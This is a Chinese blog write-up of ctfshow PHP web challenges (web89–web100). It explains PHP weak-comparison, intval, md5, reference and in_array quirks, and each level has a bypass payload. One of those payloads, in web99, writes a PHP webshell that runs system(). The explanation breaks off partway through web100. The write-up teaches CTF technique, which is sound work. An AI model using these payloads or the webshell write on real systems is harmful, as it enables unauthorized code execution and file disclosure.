web入门-php特性

本文探讨了PHP中的弱比较和强比较,并通过一系列例子讲解了如何利用这些特性进行Web安全绕过,包括preg_match的数组绕过、intval的进制转换绕过、空格和小数点的利用、三元运算符和in_array()漏洞等。此外,还提到了运算符优先级和反射类在Web安全中的作用。
摘要由CSDN通过智能技术生成

===比较类型和值,是强比较

==只比较值,是弱比较

web89-数组绕过preg_match

<?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 
知识点:preg_match — 执行匹配正则表达式

具体,看这里

当匹配数组返回false 进行绕过

payload

?num[]=1

web90-intval函数

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}
知识点:

intval — 获取变量的整数值

通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

具体,看这里

payload

?num=4476a

web92-intval八进制,十六进制,科学计数法绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

同样考点是intval ,但这道题不同于web90,而是弱比较

用到进制转换

在这里插入图片描述

进制转换工具 看这里

这里用到十六进制0x117c

八进制010574

也可以科学计数法4476e2

(因为在第一个if会计数比较,在intval函数中会被看做字符串)

web93-intval八进制绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

过滤了字母,但我们可以使用八进制010574

web94-空格,小数点绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 
知识点:

strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

注释:strpos() 函数对大小写敏感。

注释:该函数是二进制安全的。

strpos函数限制了传参第一位不能为0

仔细观察这里是强等于

我们可以在八进制前加一个空格

?num=  010574

或者用小数点

?num=4476.0

web95-空格加八进制绕intval

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

增加过滤了.

构造空格+八进制

?num= 010574

也可以

?num=+010574
?num=%2b010574

web96-绝对路径相对路径

<?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

可以看到不能直接等于flag.php,

但是我们可以构造路径让它显示

?u=/var/www/html/flag.php
?u=./flag.php

web97-md5数组绕过

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

这里是===

==的话可以百度有好多md5加密后是0e开头的,弱比较 0=0

强比较

如果传入md5 函数的不是字符串而是数组,那么就会返回null, null=null绕过。

payload
a[]=1&b[]=2

还可以是md5强碰撞

具体可以看这里

还有这里

web98-三元运算地址引用

Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
    
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

php三元运算符代码格式如下:
(expr1) ? (expr2) : (expr3);

解释起来也很简单

如果条件expr1成立,则执行语句expr2,否则执行expr3

同时 php三元运算符也可以嵌套使用 但是 可读性 就不太行了

但是 胜在简捷

应该注意的是:

在使用三元运算符时,建议使用print语句替代echo语句

三元符运算和传址(引用)

$_GET?$_GET=&$_POST:'flag';

//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)

那么看最后要求$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__那么我们就可以直接随意get传参一个,然后post传参HTTP_FLAG=flag 即可获得flag.

在这里插入图片描述

<?php
include('flag.php');
if($_GET){
	$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地)
}else{
	"flag";
} 
if($_GET['flag']=='flag'){
	$_GET=&$_COOKIE;
}else{
	'flag';
} 
if($_GET['flag']=='flag'){
	$_GET=&$_SERVER;
}else{
'flag';
} 
if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
	highlight_file($flag);
}else{
	highlight_file(__FILE__);
}
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数

具体可以看这里

还有这里

web99-in_array()漏洞

<?php

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?>
in_array()函数
定义和用法
in_array() 函数搜索数组中是否存在指定的值。
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。

在这里插入图片描述
具体可以看这里

当没有设置第三个函数时,比较是会自动转换数据类型,也就是==

/?n=1.php  
# post
content=<?php system('cat flag36d.php');?>

web100-运算符优先级,反射类

<?php

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

php = 的运算符比 and

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值